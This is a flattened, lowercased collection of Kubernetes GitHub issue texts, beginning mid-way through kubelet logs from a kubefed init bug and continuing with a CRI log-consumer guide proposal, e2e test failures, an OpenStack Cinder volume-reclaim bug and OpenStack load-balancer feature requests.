lasttransitiontime:unversioned.time{time:time.time{sec:63622170307, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }, v1.podcondition{type:\\\ podscheduled\\\ , status:\\\ true\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63620163157, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }}, message:\\\ \\\ , reason:\\\ \\\ , hostip:\\\ 10.114.12.51\\\ , podip:\\\ 10.114.12.51\\\ , starttime:  unversioned.time  0xc821a6c060 , initcontainerstatuses:  v1.containerstatus nil , containerstatuses:  v1.containerstatus{v1.containerstatus{name:\\\ weave\\\ , state:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  0xc821a6c160 , terminated:  v1.containerstateterminated  nil }, lastterminationstate:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  nil , terminated:  v1.containerstateterminated  0xc8203ecb60 }, ready:true, restartcount:6, image:\\\ weaveworks/weave-kube:1.8.2\\\ , imageid:\\\ docker://sha256:a4740ae55aae4985e19624fe18a49455ca386da6a7918723d13b7672a3474082\\\ , containerid:\\\ docker://865da5295315b440e8e4925ebfa61d2d09139af1bdab1c12b70c33d4346fc617\\\ }, v1.containerstatus{name:\\\ weave-npc\\\ , state:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  0xc821a6c460 , terminated:  v1.containerstateterminated  nil }, lastterminationstate:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  nil , terminated:  v1.containerstateterminated  0xc8203ecbd0 }, ready:true, restartcount:2, image:\\\ weaveworks/weave-npc:1.8.2\\\ , imageid:\\\ docker://sha256:c91ef3f4642b6e3bc033a516808d34409bfce57962e1ec506c23fde0b8275fa3\\\ , containerid:\\\ docker://b39c2217b688d265b46624b7a7000e53780482f0d7f0ca31326f005783e7ba63\\\ }}}}\ \r feb 09 01:37:40 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:37:40.387220    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/11ae2335-dbdd-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 11ae2335-dbdd-11e6-a074-000c2972045a\   uid: \ 11ae2335-dbdd-11e6-a074-000c2972045a\  .\r feb 09 01:37:55 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:37:55.430010    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9423c7f5-dbdc-11e6-a074-000c2972045a-clusterinfo\   spec.name: \ clusterinfo\   pod \ 9423c7f5-dbdc-11e6-a074-000c2972045a\   uid: \ 9423c7f5-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:37:55 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:37:55.430455    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9423c7f5-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 9423c7f5-dbdc-11e6-a074-000c2972045a\   uid: \ 9423c7f5-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:38:22 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:38:22.399688    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9b32cae5-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 9b32cae5-dbdc-11e6-a074-000c2972045a\   uid: \ 9b32cae5-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:38:40 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:38:40.378808    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/85d1c636-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 85d1c636-dbdc-11e6-a074-000c2972045a\   uid: \ 85d1c636-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:38:46 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:38:46.350311    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9b317708-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 9b317708-dbdc-11e6-a074-000c2972045a\   uid: \ 9b317708-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:38:54 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:38:54.433554    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/11ae2335-dbdd-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 11ae2335-dbdd-11e6-a074-000c2972045a\   uid: \ 11ae2335-dbdd-11e6-a074-000c2972045a\  .\r feb 09 01:39:20 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:39:20.399367    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9423c7f5-dbdc-11e6-a074-000c2972045a-clusterinfo\   spec.name: \ clusterinfo\   pod \ 9423c7f5-dbdc-11e6-a074-000c2972045a\   uid: \ 9423c7f5-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:39:20 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:39:20.400993    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9423c7f5-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 9423c7f5-dbdc-11e6-a074-000c2972045a\   uid: \ 9423c7f5-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:39:24 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:39:24.437940    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9b32cae5-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 9b32cae5-dbdc-11e6-a074-000c2972045a\   uid: \ 9b32cae5-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:40:00 vmwarecgsl5.localdomain docker-current 1034 : i0208 17:40:00.724756       1 dns.go:274  new service: kubernetes\r feb 09 01:40:00 vmwarecgsl5.localdomain docker-current 1034 : i0208 17:40:00.876515       1 dns.go:384  added srv record &{host:kubernetes.default.svc.cluster.local. port:443 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r feb 09 01:40:00 vmwarecgsl5.localdomain docker-current 1034 : i0208 17:40:00.876620       1 dns.go:274  new service: kube-dns\r feb 09 01:40:00 vmwarecgsl5.localdomain docker-current 1034 : i0208 17:40:00.876658       1 dns.go:384  added srv record &{host:kube-dns.kube-system.svc.cluster.local. port:53 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r feb 09 01:40:00 vmwarecgsl5.localdomain docker-current 1034 : i0208 17:40:00.876684       1 dns.go:384  added srv record &{host:kube-dns.kube-system.svc.cluster.local. port:53 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r feb 09 01:40:00 vmwarecgsl5.localdomain docker-current 1034 : i0208 17:40:00.876717       1 dns.go:274  new service: fellowship-apiserver\r feb 09 01:40:00 vmwarecgsl5.localdomain docker-current 1034 : i0208 17:40:00.876768       1 dns.go:384  added srv record &{host:fellowship-apiserver.federation-system.svc.cluster.local. port:443 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r feb 09 01:40:03 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:40:03.415125    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/85d1c636-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 85d1c636-dbdc-11e6-a074-000c2972045a\   uid: \ 85d1c636-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:40:11 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:40:11.402952    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9b317708-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 9b317708-dbdc-11e6-a074-000c2972045a\   uid: \ 9b317708-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:40:12 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:40:12.412629    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/11ae2335-dbdd-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 11ae2335-dbdd-11e6-a074-000c2972045a\   uid: \ 11ae2335-dbdd-11e6-a074-000c2972045a\  .\r feb 09 01:40:26 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:40:26.358096    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9423c7f5-dbdc-11e6-a074-000c2972045a-clusterinfo\   spec.name: \ clusterinfo\   pod \ 9423c7f5-dbdc-11e6-a074-000c2972045a\   uid: \ 9423c7f5-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:40:26 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:40:26.358318    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9423c7f5-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 9423c7f5-dbdc-11e6-a074-000c2972045a\   uid: \ 9423c7f5-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:40:39 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:40:39.391825    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9b32cae5-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 9b32cae5-dbdc-11e6-a074-000c2972045a\   uid: \ 9b32cae5-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:41:12 vmwarecgsl5.localdomain docker-current 1034 : w0208 17:41:12.701184       1 reflector.go:319  pkg/controller/garbagecollector/garbagecollector.go:760: watch of <nil> ended with: 401: the event in requested index is outdated and cleared  the requested history has been cleared  493750/493675    494749 \r feb 09 01:41:29 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:41:29.432235    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/11ae2335-dbdd-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 11ae2335-dbdd-11e6-a074-000c2972045a\   uid: \ 11ae2335-dbdd-11e6-a074-000c2972045a\  .\r feb 09 01:41:30 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:41:30.346929    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/85d1c636-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 85d1c636-dbdc-11e6-a074-000c2972045a\   uid: \ 85d1c636-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:41:41 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:41:41.357284    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9b317708-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 9b317708-dbdc-11e6-a074-000c2972045a\   uid: \ 9b317708-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:41:50 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:41:50.449144    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9423c7f5-dbdc-11e6-a074-000c2972045a-clusterinfo\   spec.name: \ clusterinfo\   pod \ 9423c7f5-dbdc-11e6-a074-000c2972045a\   uid: \ 9423c7f5-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:41:50 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:41:50.451664    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9423c7f5-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 9423c7f5-dbdc-11e6-a074-000c2972045a\   uid: \ 9423c7f5-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:42:02 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:42:02.370083    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9b32cae5-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 9b32cae5-dbdc-11e6-a074-000c2972045a\   uid: \ 9b32cae5-dbdc-11e6-a074-000c2972045a\  .\r \r \r   what you expected to happen  :\r  kubefed init  succeeds or exits with an error message\r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r my kubernetes cluster is bootstrapped by kubeadm. \r

we made a few changes to rbac policies in pr  40392 to address the issue described in  39555. rbac api was in alpha and in kubernetes 1.6 the api is being promoted to beta. pr  40392 only used the beta api types. this makes kubefed incompatible with pre-1.6 clusters. we should make kubefed 1.6 compatible with previous versions of the cluster. we can use the discovery api to accomplish this.\r \r cc @kubernetes/sig-federation-bugs @shashidharatd @irfanurrehman

right now there are no clear guidelines as to how to intercept and handle logs produced by application containers on the node. for example, if i wanted today to implement or adapt a new solution for exporting logs, i would have hard time figuring out how to do it. this has created some confusion in the past, example being this issue: https://github.com/kubernetes/kubernetes/issues/24677.\r \r at the same time,  cri  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/container-runtime-interface-v1.md  is coming and container logs is an important part of the runtime interface. there's a proposal  about log management in cri  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/kubelet-cri-logging.md  and conformance to cri is probably going to  break existing log consumer  https://github.com/kubernetes/kubernetes/issues/36401 .\r \r it seems necessary to create an instruction for anyone who wants to integrate with kubernetes logging pipeline. this instruction should align as much possible with cri and give a detailed answer to the question  how to integrate a log consumer with kubernetes . bringing this up will also allow to discover weak points of the current integration. \r \r this issue bring up details for the potential guide to clarify, with commentaries and links to the related issues.\r \r as with the cri logging proposal, i suggest stating log files inside container as explicit non-goal. on one hand, it can be implemented already and there is  a guide  https://kubernetes.io/docs/concepts/clusters/logging/ using-a-sidecar-container-with-the-logging-agent  for this, on the other hand, this might even  potentially become  https://github.com/docker/docker/issues/29604  a part of the container engine, eliminating the need to handle this case separately. in any case, this problem deserves its own separate discussion.\r \r everyone is very welcome to give feedback and point out problems.\r \r    where logs are stored and how they are discovered\r \r log consumer should read application logs directly from the runtime. according to cri, logs are stored under  /var/log/pods  directory. for each container there's a file  /var/log/pods/<poduid>/<containername>_<instance >.log  which contains logs for the given run of the given container from the given pod.\r     \r log consumer itself should watch for the new directories and log files and likewise be ready for log files to be removed at any time.\r \r there's an issue about moving towards this file-based interface: https://github.com/kubernetes/kubernetes/issues/42188.\r \r    log format\r \r logs inside log files are written in the cri logging format: each log entry is decorated with a rfc 3339nano timestamp prefix, the stream name  i.e., \ stdout\  or \ stderr\  , and ends with a newline. examples:\r \r    \r 2016-10-06t00:17:09.669794202z stdout the content of the log entry 1\r 2016-10-06t00:17:10.113242941z stderr the content of the log entry 2\r    \r \r it means that each line is decorated and should be unwrapped. this is a minimal set of metadata needed for correct handling log entries. more information about why this format has been chosen you can find in the  cri logging proposal  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/kubelet-cri-logging.md .\r \r issue about log format in containerd: https://github.com/docker/containerd/issues/603\r \r    log rotation\r \r log file should be rotated, so that logs don't consume all available disk space. rotation can happen at any time. rotation is performed by moving old file away and creating a new log file.\r \r old file may be available for some time after rotation, but its lifespan is not guaranteed, because there can be a disk starvation on the node, which requires to delete all logs right away.\r \r   note:   this does not align with the cri perfectly, but using external tools for rotation in a current fashion   copytruncate , without closing a log file , as described in the existing cri logging proposal, turned out to be not a best solution for a  number of reasons  https://github.com/kubernetes/kubernetes/issues/38495 . also, moving old log file away and creating a new one is an approach better supported by existing tools.\r \r    metadata\r \r log consumer should extract metadata that is enough for identifying pod and container from the log file name. to obtain further pieces of metadata, like pod name, namespace, labels, and etc log consumer should query api server for pods on this node and create a reverse lookup by  poduid  which then can be used to get necessary metadata. log consumer should either attach the metadata to each log entry  or a log stream  similar to  this solution  https://github.com/fabric8io/fluent-plugin-kubernetes_metadata_filter  or store the metadata in the dedicated backend for joining with log entries later, because pods can be rescheduled or deleted from the api server. \r \r potentially, kubelet can become responsible for providing this metadata since it's already there.\r \r /cc @thockin @random-liu @yujuhong @dashpole @dchen1107 @vishh @piosz @dcowden @coffeepac @repeatedly @edsiper @igorpeshansky

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.5.3\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws deployed with juju\r -   os    e.g. from /etc/os-release : 16.04.2 lts  xenial xerus \r -   kernel    e.g.  uname -a  : 4.4.0-66-generic\r -   install tools  : juju\r -   others  :\r \r \r   what happened  :\r deployed kubernetes on aws run kubernetes-e2e and got two tests failing:\r http://pastebin.ubuntu.com/24261115/\r \r   what you expected to happen  :\r no tests to fail\r \r   how to reproduce it    as minimally and precisely as possible :\r deploy kubernetes and run the e2e tests\r \r   anything else we need to know  :\r the error logs looked like this: http://pastebin.ubuntu.com/24260807/\r tracing this down to the master: http://pastebin.ubuntu.com/24261240/\r it seems that there is some auth issue. is this expected/fixed on newer versions?\r \r thank you\r \r

bug report\r \r   kubernetes version    use  kubectl version  :\r \r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2+coreos.0\ , gitcommit:\ 79fee581ce4a35b7791fdd92e0fc97e02ef1d5c0\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t23:13:34z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : container linux by coreos beta  1381.1.0 \r -   kernel    e.g.  uname -a  : 4.10.12-coreos\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r in openstack, when deleting a pvc, the pv stays in bound state and is not deleted. if i re-create the same claim with the same name, it creates a new volume and the old pv is correctly reclaimed and deleted. \r \r    \r kubectl get pvc\r name       status    volume                                     capacity   accessmodes   storageclass   age\r sickrage   bound     pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b   8gi        rwo           cinder         8m\r \r kubectl delete pvc sickrage\r persistentvolumeclaim \ sickrage\  deleted\r \r kubectl get pv                                                                                                                                                           \r name                                       capacity   accessmodes   reclaimpolicy   status    claim              storageclass   reason    age\r pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b   8gi        rwo           delete          bound     default/sickrage   cinder                   12m\r    \r \r but controller manager is still trying to find the old claims that have been delete and also their volumes  which have been correctly deleted when i recreated the exact same claim  according to the log even when there not in the api anymore:\r \r    \r i0428 14:48:18.947359       1 pv_controller_base.go:558  storeobjectupdate updating claim \ default/sickrage\  with version 3405\r i0428 14:48:18.947388       1 pv_controller.go:219  synchronizing persistentvolumeclaim default/sickrage : phase: bound, bound to: \ pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b\ , bindcompleted: true, boundbycontroller: true\r i0428 14:48:18.947414       1 pv_controller.go:367  synchronizing bound persistentvolumeclaim default/sickrage : volume \ pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b\  found: phase: bound, bound to: \ default/sickrage  uid: 71cb0080-2c1f-11e7-bed6-fa163ec3ea0b \ , boundbycontroller: true\r i0428 14:48:18.947425       1 pv_controller.go:384  synchronizing bound persistentvolumeclaim default/sickrage : claim is already correctly bound\r i0428 14:48:18.947433       1 pv_controller.go:858  binding volume \ pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b\  to claim \ default/sickrage\ \r i0428 14:48:18.947446       1 pv_controller.go:723  updating persistentvolume pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b : binding to \ default/sickrage\ \r i0428 14:48:18.947509       1 pv_controller.go:781  updating persistentvolume pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b : already bound to \ default/sickrage\ \r i0428 14:48:18.947522       1 pv_controller.go:663  updating persistentvolume pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b : set phase bound\r i0428 14:48:18.947533       1 pv_controller.go:666  updating persistentvolume pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b : phase bound already set\r i0428 14:48:18.947543       1 pv_controller.go:788  updating persistentvolumeclaim default/sickrage : binding to \ pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b\ \r i0428 14:48:18.947568       1 pv_controller.go:843  updating persistentvolumeclaim default/sickrage : already bound to \ pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b\ \r i0428 14:48:18.947578       1 pv_controller.go:566  updating persistentvolumeclaim default/sickrage  status: set phase bound\r i0428 14:48:18.947599       1 pv_controller.go:614  updating persistentvolumeclaim default/sickrage  status: phase bound already set\r i0428 14:48:18.947612       1 pv_controller.go:884  volume \ pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b\  bound to claim \ default/sickrage\ \r i0428 14:48:18.947632       1 pv_controller.go:885  volume \ pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b\  status after binding: phase: bound, bound to: \ default/sickrage  uid: 71cb0080-2c1f-11e7-bed6-fa163ec3ea0b \ , boundbycontroller: truei0428 14:48:18.947652       1 pv_controller.go:886  claim \ default/sickrage\  status after binding: phase: bound, bound to: \ pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b\ , bindcompleted: true, boundbycontroller: true\r i0428 14:48:18.962306       1 reflector.go:276  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:70: forcing resync\r i0428 14:48:18.962433       1 pv_controller_base.go:558  storeobjectupdate updating volume \ pvc-f6c7eb49-2c1d-11e7-bed6-fa163ec3ea0b\  with version 2888\r i0428 14:48:18.962461       1 pv_controller.go:407  synchronizing persistentvolume pvc-f6c7eb49-2c1d-11e7-bed6-fa163ec3ea0b : phase: released, bound to: \ default/sickrage  uid: f6c7eb49-2c1d-11e7-bed6-fa163ec3ea0b \ , boundbycontroller: true\r i0428 14:48:18.962495       1 pv_controller.go:432  synchronizing persistentvolume pvc-f6c7eb49-2c1d-11e7-bed6-fa163ec3ea0b : volume is bound to claim default/sickrage\r i0428 14:48:18.962510       1 pv_controller.go:449  synchronizing persistentvolume pvc-f6c7eb49-2c1d-11e7-bed6-fa163ec3ea0b : claim default/sickrage found: phase: bound, bound to: \ pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b\ , bindcompleted: true, boundbycontroller: true\r i0428 14:48:18.962520       1 pv_controller.go:454  synchronizing persistentvolume pvc-f6c7eb49-2c1d-11e7-bed6-fa163ec3ea0b : claim default/sickrage has different uid, the old one must have been deleted\r i0428 14:48:18.962531       1 pv_controller.go:956  reclaimvolume pvc-f6c7eb49-2c1d-11e7-bed6-fa163ec3ea0b : policy is delete\r i0428 14:48:18.962539       1 pv_controller.go:1408  scheduleoperation delete-pvc-f6c7eb49-2c1d-11e7-bed6-fa163ec3ea0b f70ef398-2c1d-11e7-bed6-fa163ec3ea0b  \r i0428 14:48:18.962560       1 pv_controller_base.go:558  storeobjectupdate updating volume \ pvc-885e8759-2c1e-11e7-bed6-fa163ec3ea0b\  with version 3408\r i0428 14:48:18.962578       1 pv_controller.go:407  synchronizing persistentvolume pvc-885e8759-2c1e-11e7-bed6-fa163ec3ea0b : phase: released, bound to: \ default/sickrage  uid: 885e8759-2c1e-11e7-bed6-fa163ec3ea0b \ , boundbycontroller: true\r i0428 14:48:18.962585       1 pv_controller.go:432  synchronizing persistentvolume pvc-885e8759-2c1e-11e7-bed6-fa163ec3ea0b : volume is bound to claim default/sickrage\r i0428 14:48:18.962597       1 pv_controller.go:449  synchronizing persistentvolume pvc-885e8759-2c1e-11e7-bed6-fa163ec3ea0b : claim default/sickrage found: phase: bound, bound to: \ pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b\ , bindcompleted: true, boundbycontroller: true\r i0428 14:48:18.962605       1 pv_controller.go:454  synchronizing persistentvolume pvc-885e8759-2c1e-11e7-bed6-fa163ec3ea0b : claim default/sickrage has different uid, the old one must have been deleted\r i0428 14:48:18.962613       1 pv_controller.go:956  reclaimvolume pvc-885e8759-2c1e-11e7-bed6-fa163ec3ea0b : policy is delete\r i0428 14:48:18.962619       1 pv_controller.go:1408  scheduleoperation delete-pvc-885e8759-2c1e-11e7-bed6-fa163ec3ea0b 88bec3e8-2c1e-11e7-bed6-fa163ec3ea0b  \r i0428 14:48:18.962635       1 pv_controller_base.go:558  storeobjectupdate updating volume \ pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b\  with version 3402\r i0428 14:48:18.962662       1 pv_controller.go:407  synchronizing persistentvolume pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b : phase: bound, bound to: \ default/sickrage  uid: 71cb0080-2c1f-11e7-bed6-fa163ec3ea0b \ , boundbycontroller: true\r i0428 14:48:18.962670       1 pv_controller.go:432  synchronizing persistentvolume pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b : volume is bound to claim default/sickrage\r i0428 14:48:18.962682       1 pv_controller.go:449  synchronizing persistentvolume pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b : claim default/sickrage found: phase: bound, bound to: \ pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b\ , bindcompleted: true, boundbycontroller: true\r i0428 14:48:18.962693       1 pv_controller.go:502  synchronizing persistentvolume pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b : all is bound\r i0428 14:48:18.962700       1 pv_controller.go:663  updating persistentvolume pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b : set phase bound\r i0428 14:48:18.962709       1 pv_controller.go:666  updating persistentvolume pvc-71cb0080-2c1f-11e7-bed6-fa163ec3ea0b : phase bound already set\r i0428 14:48:18.962740       1 pv_controller.go:1058  deletevolumeoperation  pvc-885e8759-2c1e-11e7-bed6-fa163ec3ea0b  started\r i0428 14:48:18.962930       1 pv_controller.go:1058  deletevolumeoperation  pvc-f6c7eb49-2c1d-11e7-bed6-fa163ec3ea0b  started\r i0428 14:48:18.964660       1 pv_controller.go:1065  error reading peristent volume \ pvc-885e8759-2c1e-11e7-bed6-fa163ec3ea0b\ : persistentvolumes \ pvc-885e8759-2c1e-11e7-bed6-fa163ec3ea0b\  not found\r i0428 14:48:18.965334       1 pv_controller.go:1065  error reading peristent volume \ pvc-f6c7eb49-2c1d-11e7-bed6-fa163ec3ea0b\ : persistentvolumes \ pvc-f6c7eb49-2c1d-11e7-bed6-fa163ec3ea0b\  not found\r i0428 14:48:19.011145       1 attach_detach_controller.go:543  processvolumesinuse for node \ ku-jyhblosxvj-0-byvprqzco7l2-kube-minion-qy4bomdwwt35\ \r i0428 14:48:19.052167       1 nodecontroller.go:982  node ku-jyhblosxvj-0-byvprqzco7l2-kube-minion-qy4bomdwwt35 readycondition updated. updating timestamp.\r i0428 14:48:19.147304       1 leaderelection.go:204  succesfully renewed lease kube-system/kube-controller-manager\r i0428 14:48:21.153718       1 leaderelection.go:204  succesfully renewed lease kube-system/kube-controller-manager\r    \r \r   what you expected to happen  :\r \r the pv should be deleted as well as the cinder volume in openstack when pvc is deleted\r \r   how to reproduce it    as minimally and precisely as possible :\r \r create a cinder pvc and delete it.\r \r   anything else we need to know  :\r \r

it should be possible to pass a selector to create services of type != externalname.  the default selector isn't very useful.

is this a bug report or feature request?  : feature request\r \r  \r   what happened  : currently we have kubernetes cluster installed, in node machines we have one subnet and two routers attached. one router for external network and one router for internal network. however, when we create type: loadbalancer services in kubernetes, we have to hardcode floatingnetwork id to only one of those  external or internal . \r \r   what you expected to happen  : i except that i could define from which floatingnetwork loadbalancer is taking its floating ip address in each service. one possible solution could be that if floatingnetworkid is defined like currently - that networkid is default one. then we could have possibility to override that in each service configuration. \r \r like if we do not want use default floating-pool we could change it:\r    \r apiversion: v1\r kind: service\r metadata:\r   labels:\r     name: redis\r   name: redis\r spec:\r   type: loadbalancer\r   floating-poolid: <idhere>\r   ports:\r     - port: 6379\r       protocol: tcp\r       name: redis\r   selector:\r     app: redis\r    \r \r i do not know does this even work in openstack, it might need some manual route settings in lbaas.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6\r - cloud provider or hardware configuration  : openstack\r - os  e.g. from /etc/os-release : centos\r \r cc @anguslees @k8s-sig-openstack-feature-requests

